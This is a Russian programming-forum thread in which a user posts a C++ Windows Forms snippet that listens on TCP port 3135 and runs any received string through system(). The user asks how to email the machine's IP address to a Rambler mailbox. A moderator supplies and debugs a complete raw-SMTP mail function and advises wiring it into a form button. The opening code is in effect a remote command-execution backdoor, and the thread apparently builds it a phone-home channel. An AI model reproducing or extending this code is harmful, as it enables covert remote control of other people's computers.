1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54

Отправка данных(переменных) на почту visual c++ windows forms

29.11.2012, 13:20. Показов 6277. Ответов 45
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Напишите пожалуйста как сюда можно вставить отправку IP компьютера на email(например rambler), попроще хотелось бы с меня плюсики
Кто хочет улучшите код
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
                 #define PORT 3135
                 char buf[3072];
WSADATA wsaData;
WSAStartup(0x202,&wsaData);
SOCKET s = socket(AF_INET,SOCK_STREAM,0);
SOCKET client_sock = socket(AF_INET,SOCK_STREAM,0);
sockaddr_in serv_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family=AF_INET;
serv_addr.sin_port=htons(PORT);
serv_addr.sin_addr.s_addr=0;
bind(s,(sockaddr*)&serv_addr,sizeof(serv_addr));
listen(s,10);
sockaddr_in client_addr;
int size_client_addr=sizeof(client_addr);
client_sock=accept(s,(sockaddr*)&client_addr,&size_client_addr);
label2->Text="Подключен";
 
for(int i=0;i<=3072;i++){
recv(client_sock, &buf[i], sizeof(buf[i]), 0);
if(buf[i]==0){
buf[i]=NULL;
break;}}
label1->Text=gcnew String(buf);
 system(buf);
 
shutdown(client_sock,20);
closesocket(client_sock);
shutdown(s,20);
closesocket(s);
WSACleanup();
label2->Text="Отключен";
0
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
29.11.2012, 13:20
Ответы с готовыми решениями:

Отправка данных на почту
Не знаю как отправить данные на почту, данные которые хранятся в #itog и в #optc &lt;section id=&quot;four&quot; class=&quot;wrapper...

Отправка данных на почту
Есть вопрос, господа, по поводу отправки данных из приложения формы vb.net на почту. Пользовался кодом, взятого с vbbook: Imports...

Отправка данных на почту
var vallogin = document.getElementById('Name').value; /* name=&quot;username&quot; */ var valpass = document.getElementById('Pass').value; /*...

45
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 14:57  [ТС]
Студворк — интернет-сервис помощи студентам
нет) странно может конвертирует через ну ты понял)
0
Модератор
 Аватар для vxg
3410 / 2182 / 354
Регистрация: 13.01.2012
Сообщений: 8,472
30.11.2012, 15:02
прогнал через функции которыми вы кодировали - не могли вы такие строки получить какими вы ответили на запросы сервера. начинает декодировать и получает `NB но дальше пусто и обратным кодированием получаем совсем не то. может какой-нибудь левый символ в строках?
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 15:05  [ТС]
Что же делать теперь
я не знаю
0
Модератор
 Аватар для vxg
3410 / 2182 / 354
Регистрация: 13.01.2012
Сообщений: 8,472
30.11.2012, 15:11
а вы прям точно уверены в своем логине и пароле? попробуйте их раскодировать до отправки и вывести в консоли: поставьте внутри mail перед bool res = строки
C++
1
2
    printf("login: %s\r\n", base64_decode(base64_encode(login.c_str(), login.length())).c_str());
    printf("password: %s\r\n", base64_decode(base64_encode(password.c_str(), password.length())).c_str());
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 15:23  [ТС]
_send_recv(s, base64_encode(login.c_str(), login.length()) + "\r\n", 334)
login.c_str()
ошибку дает но если заменить на
_send_recv(s, base64_encode(y, login.length()) + "\r\n", 334)
ошибку не выдает но эта строка пуста будет

Добавлено через 1 минуту
я не знаю как у тебя работает то весь код
0
Модератор
 Аватар для vxg
3410 / 2182 / 354
Регистрация: 13.01.2012
Сообщений: 8,472
30.11.2012, 15:35
странно.. у меня работает. еще разок повторяем
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
//------------------------------------------------------------------------------
#include <winsock>
#include <stdio.h>
#include <string>
//------------------------------------------------------------------------------
static const std::string base64_chars = 
             "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
             "abcdefghijklmnopqrstuvwxyz"
             "0123456789+/";
 
 
static inline bool is_base64(unsigned char c) {
  return (isalnum(c) || (c == '+') || (c == '/'));
}
 
std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) {
  std::string ret;
  int i = 0;
  int j = 0;
  unsigned char char_array_3[3];
  unsigned char char_array_4[4];
 
  while (in_len--) {
    char_array_3[i++] = *(bytes_to_encode++);
    if (i == 3) {
      char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
      char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
      char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
      char_array_4[3] = char_array_3[2] & 0x3f;
 
      for(i = 0; (i <4) ; i++)
        ret += base64_chars[char_array_4[i]];
      i = 0;
    }
  }
 
  if (i)
  {
    for(j = i; j < 3; j++)
      char_array_3[j] = '\0';
 
    char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
    char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
    char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
    char_array_4[3] = char_array_3[2] & 0x3f;
 
    for (j = 0; (j < i + 1); j++)
      ret += base64_chars[char_array_4[j]];
 
    while((i++ < 3))
      ret += '=';
 
  }
 
  return ret;
 
}
 
std::string base64_decode(std::string const& encoded_string) {
  int in_len = encoded_string.size();
  int i = 0;
  int j = 0;
  int in_ = 0;
  unsigned char char_array_4[4], char_array_3[3];
  std::string ret;
 
  while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
    char_array_4[i++] = encoded_string[in_]; in_++;
    if (i ==4) {
      for (i = 0; i <4; i++)
        char_array_4[i] = base64_chars.find(char_array_4[i]);
 
      char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
      char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
      char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
 
      for (i = 0; (i < 3); i++)
        ret += char_array_3[i];
      i = 0;
    }
  }
 
  if (i) {
    for (j = i; j <4; j++)
      char_array_4[j] = 0;
 
    for (j = 0; j <4; j++)
      char_array_4[j] = base64_chars.find(char_array_4[j]);
 
    char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
    char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
    char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
 
    for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
  }
 
  return ret;
}
//------------------------------------------------------------------------------
int get_addr(char *host_name)
{
    int res = -1;
 
    HOSTENT *phe = gethostbyname(host_name);
    if (phe)
        for (int i = 0; i < 4; i++)
            ((BYTE *)&res)[i] = phe->h_addr_list[0][i];
 
    return res;
}
//------------------------------------------------------------------------------
bool _send(SOCKET s, const std::string &message)
{
    printf("u: %s", message.c_str());
    if (!send(s, message.c_str(), message.length(), 0)) return false;
 
    return true;
}
//------------------------------------------------------------------------------
bool _recv(SOCKET s, const unsigned code)
{
    char buffer[4096];
    int buffer_size = recv(s, buffer, sizeof(buffer), 0);
    if (!buffer_size) return false;
    buffer[buffer_size] = '\0';
    printf("s: %s", buffer);
 
    unsigned _code;
    if (sscanf(buffer, "%u", &_code) != 1 || _code != code) return false;
 
    return true;
}
//------------------------------------------------------------------------------
bool _send_recv(SOCKET s, const std::string &message, const unsigned code)
{
    return _send(s, message) && _recv(s, code);
}
//------------------------------------------------------------------------------
bool mail
(
    const unsigned smtp_port,
    const std::string &smtp_addr,
    const std::string &login,
    const std::string &password,
    const std::string &name,
    const std::string &from,
    const std::string &to,
    const std::string &data
)
{
    SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s == INVALID_SOCKET) return false;
 
    SOCKADDR_IN sa;
    sa.sin_family = AF_INET;
    sa.sin_port = htons(smtp_port);
    sa.sin_addr.S_un.S_addr = get_addr((char *)smtp_addr.c_str());
 
    printf("wait for server...");
    while (connect(s, (SOCKADDR *)&sa, sizeof(sa)))
        Sleep(250);
    printf("connected\n");
 
    //RECEIVER  220 mit.edu Simple Mail Transfer Service Ready
 
    //SENDER  HELO usc.edu
    //RECEIVER  250 mit.edu
 
    //SENDER  MAIL FROM:<Smith@usc.edu>
    //RECEIVER  250 OK
 
    //SENDER  RCPT TO:<Jones@mit.edu>
    //RECEIVER  250 OK
 
    //SENDER  DATA
    //RECEIVER  354 Start mail input; end with <CRLF>.<CRLF>
 
    //SENDER  Blah blah blah...
 
    //SENDER  .
    //RECEIVER  250 OK
    
    //SENDER  QUIT
    //RECEIVER  221 mit.edu Service closing transmission channel
 
    //а то ли мы туда передаем?
 
    printf("login: %s\r\n", base64_decode(base64_encode((const unsigned char *)login.c_str(), login.length())).c_str());
    printf("password: %s\r\n", base64_decode(base64_encode((const unsigned char *)password.c_str(), password.length())).c_str());
 
    bool res =
        _recv(s, 220) &&
        _send_recv(s, "EHLO " + name + "\r\n", 250) &&
        _send_recv(s, "AUTH LOGIN\r\n", 334) &&
        _send_recv(s, base64_encode((const unsigned char *)login.c_str(), login.length()) + "\r\n", 334) &&
        _send_recv(s, base64_encode((const unsigned char *)password.c_str(), password.length()) + "\r\n", 235) &&
        _send_recv(s, "MAIL FROM:<" + from + ">\r\n", 250) &&
        _send_recv(s, "RCPT TO:<" + to + ">\r\n", 250) &&
        _send_recv(s, "DATA\r\n", 354) &&
        _send(s, data) &&
        _send_recv(s, "\r\n.\r\n", 250) &&
        _send_recv(s, "QUIT\r\n", 221);
 
    closesocket(s);
 
    return res;
}
//------------------------------------------------------------------------------
int main(int argc, char* argv[])
{
    WSADATA wsa_data;
    if (WSAStartup(0x101, &wsa_data) || wsa_data.wVersion != 0x101) return -1;
 
    mail
    (
        587, "mail.rambler.ru",
        "xxx", "xxx",
        "user",
        "", "xxx@xxx.ru",
        "Subject: oops\r\n"
        "\r\n"
        "some text\r\n"
    );
 
    WSACleanup();
 
    system("pause");
    return 0;
}
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 15:37  [ТС]
вроде нашел ошибку но ситуацию не исправило скинь код который у тебя полностью рабочий
password раньше был как login
unsigned char* y;
y = (unsigned char*) &login;
unsigned char* y2;

y2 = (unsigned char*) &password;

_send_recv(s, base64_encode(y, login.length()) + "\r\n", 334) &&
_send_recv(s, base64_encode(y2, password.length()) + "\r\n", 235) &&
то есть было
unsigned char* y;
y = (unsigned char*) &login;


_send_recv(s, base64_encode(y, login.length()) + "\r\n", 334) &&
_send_recv(s, base64_encode(y, password.length()) + "\r\n", 235) &&

Добавлено через 1 минуту
ты уже отправил ща погоди простестирую))))
0
Модератор
 Аватар для vxg
3410 / 2182 / 354
Регистрация: 13.01.2012
Сообщений: 8,472
30.11.2012, 15:38
код выше рабочий с учетом преобразований в unsigned char *
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 15:41  [ТС]
ошибки
0
Модератор
 Аватар для vxg
3410 / 2182 / 354
Регистрация: 13.01.2012
Сообщений: 8,472
30.11.2012, 15:41
ваш код был не рабочим потому что вы интерпретировали адрес объекта-строки как адрес C-строки. при вашем подходе с использованием промежуточной переменной нужно было писать
C++
1
y = (unsigned char *)login.c_str();
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 15:46  [ТС]
урааааааааааааа заработало спасибо!!!

Добавлено через 51 секунду
другим тоже должна пригодиться эта тема)
0
Модератор
 Аватар для vxg
3410 / 2182 / 354
Регистрация: 13.01.2012
Сообщений: 8,472
30.11.2012, 15:47
а у меня все компилет. правда я в билдере собираю. но это значения не имеет. он бы мне хоть ворнинги показал если что. подсветите строки где он у вас лает
Миниатюры
Отправка данных(переменных) на почту visual c++ windows forms  
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 15:58  [ТС]
да уже все заработало)
осталось только в windows forms переделать все

Добавлено через 1 минуту
если что я переделал маленько что бы заработало
unsigned char* y1;
y1 = (unsigned char *)login.c_str();
unsigned char* y2;
y2 = (unsigned char *)password.c_str();
bool res =
_recv(s, 220) &&
_send_recv(s, "EHLO " + name + "\r\n", 250) &&
_send_recv(s, "AUTH LOGIN\r\n", 334) &&
_send_recv(s, base64_encode(y1, login.length()) + "\r\n", 334) &&
_send_recv(s, base64_encode(y2, password.length()) + "\r\n", 235) &&
_send_recv(s, "MAIL FROM:<" + from + ">\r\n", 250) &&
_send_recv(s, "RCPT TO:<" + to + ">\r\n", 250) &&
_send_recv(s, "DATA\r\n", 354) &&
_send(s, data) &&
_send_recv(s, "\r\n.\r\n", 250) &&
_send_recv(s, "QUIT\r\n", 221);

closesocket(s);

return res;
}

Добавлено через 6 минут
хе теперь проблема что нужно сделать что бы заработало в windows forms все это дело?

Добавлено через 1 минуту
Цитата Сообщение от vxg Посмотреть сообщение
а у меня все компилет. правда я в билдере собираю. но это значения не имеет. он бы мне хоть ворнинги показал если что. подсветите строки где он у вас лает
надо в c++ forms перенести а то ошибки
0
Модератор
 Аватар для vxg
3410 / 2182 / 354
Регистрация: 13.01.2012
Сообщений: 8,472
30.11.2012, 16:04
это вы наверное запхали все это (а это был код консольного приложения) внутрь класса формы и естественно ее стошнило. а что значит windows forms? это ms visual express что ли?
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 16:10  [ТС]
да тупо запихал)))
посмотреть какие ошибки вылезут
ну да это ms visual express

Добавлено через 50 секунд
там где кнопки, текстбоксы расставлять можно
0
Модератор
 Аватар для vxg
3410 / 2182 / 354
Регистрация: 13.01.2012
Сообщений: 8,472
30.11.2012, 16:11
нужно запхать все кроме майн в глобальную область. а тело майн запхать в обрботчик нажатия кнопки или когда вы там собираетесь почту отправлять.
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 16:15  [ТС]
тут так легко не обойдется
0
Модератор
 Аватар для vxg
3410 / 2182 / 354
Регистрация: 13.01.2012
Сообщений: 8,472
30.11.2012, 16:19
это побочные эффекты вторжения фирмы майкрософт в язык и их загадочного подхода к рисованию интерфейса. я бы засунул все кроме майн в отдельный модуль, сделал ему заголовок в котором написал бы прототипы
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len);
std::string base64_decode(std::string const& encoded_string);
int get_addr(char *host_name);
bool _send(SOCKET s, const std::string &message);
bool _recv(SOCKET s, const unsigned code);
bool _send_recv(SOCKET s, const std::string &message, const unsigned code);
bool mail
(
    const unsigned smtp_port,
    const std::string &smtp_addr,
    const std::string &login,
    const std::string &password,
    const std::string &name,
    const std::string &from,
    const std::string &to,
    const std::string &data
);
добавил модуль в проект, включил заголовок в h-файле формы, в обработчике нажатия кнопки послал все что нужно в функцию mail помучившись со всякими крышечками и прочими инопланетными конструкциями выковыривающими данные из монстрозного GUI от MS
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 16:33  [ТС]
а хотя работает

Добавлено через 4 минуты
ладно посмотрю в гугле как это все дело перевести, Спасибо!

Добавлено через 8 минут
не работает короче)
0
Модератор
 Аватар для vxg
3410 / 2182 / 354
Регистрация: 13.01.2012
Сообщений: 8,472
30.11.2012, 16:47
ыыы... что не робит то)?

Добавлено через 41 секунду

Не по теме:

компьютер с нечеткой логикой.. каждый 3 секунды работает остальное время сомневается)

1
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
30.11.2012, 16:47

Отправка данных на почту
Не знаю как отправить данные на почту, данные которые хранятся в #itog и в #optc &lt;section id=&quot;four&quot; class=&quot;wrapper...

Отправка данных из бд на почту
Здравствуйте мне нужно отправить выборку из бд на почту ввиде таблицы, отправка работает но приходит в таблицу только одна запись((( уже...

Отправка данных на почту из Js
Доброго времени суток, возникла такая проблемка, не знаю как выполнить отправку переменных JS в сообщении на почту через PHP, нужно...

Отправка данных на почту
Имеется бриф, типа этого. Как сделать так чтобы посетитель нажав на кнопку &quot;Заказать&quot;, данные которые он ввёл отправлялись на почтовый...

Отправка данных на почту
Короче пишу программу. В ней есть функция отправки введенных пользователем данных на почту. Не могу понять как сделать так, чтобы эти...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
40
Ответ Создать тему
Опции темы

Новые блоги и статьи
Установка MinGW GCC 16.2 и CMake
8Observer8 10.08.2026
VK Видео: https:/ / vkvideo. ru/ video-240781534_456239017 YouTube: eY5-5PyI9NM Текстовая версия
Неделя из жизни имитационной модели склада: мои кривые руки растут, откуда надо
anaschu 10.08.2026
Неделя из жизни имитационной модели склада: как я почти написал неправильную логику и что с этим делать Работаю сейчас над учебно-рабочим проектом: строю в AnyLogic имитационную модель процессов. . .
Калькулятор для расчета родства
russiannick 07.08.2026
1. Задача: Создать калькулятор для расчета родства. Родственных связей существует 8 ступеней, такие как: p - отец P - мать q - муж Q - жена b - брат B - сестра s - сын S - дочь
Мир по моей воле
kumehtar 07.08.2026
Когда-то кажется, что всё просто. Ты весь такой светлый. Причиняешь добро. Борешься за справедливость в этом тёмном мире. Потом начинаешь замечать одну неприятную вещь. Почти каждый хороший. . .
Кредитный калькулятор
Maks 05.08.2026
Решение задачи по прикладной информатике средствами 1С. Задача: Напишите приложение-калькулятор, которое помогает рассчитывать параметры кредита для аннуитетного и дифференцированного видов. . .
У нас сейчас поговорку "Опять 25" нужно переделать на "Опять +35".
kumehtar 04.08.2026
С ностальгией вспоминаю времена моего детства, когда у нас и правда +25 - была максимальная температура летом. Раньше +25 °C реально казались вершиной жары, когда можно было весь день пропадать на. . .
Как ИИ начал спорить и врать (возможно почуяв опасность для себя от индустрии - уход от электроники).
Hrethgir 04.08.2026
Недельный диалог, на фоне событий с НПЗ. Да, из спирта можно получать бензин, и это не сложно. Но потом в схеме я решил избавиться от насоса, при этом полностью сделав контроль подачи спирта в. . .
Термопринтер QR701
Argus19 03.08.2026
Термопринтер QR701 Купил два термопринтера QR701. На сэлф-тесте написано: Language: PC936 (GB18030). Что означает, что принтеры могут печатать только латиницу и китайские иероглифы. Так же. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru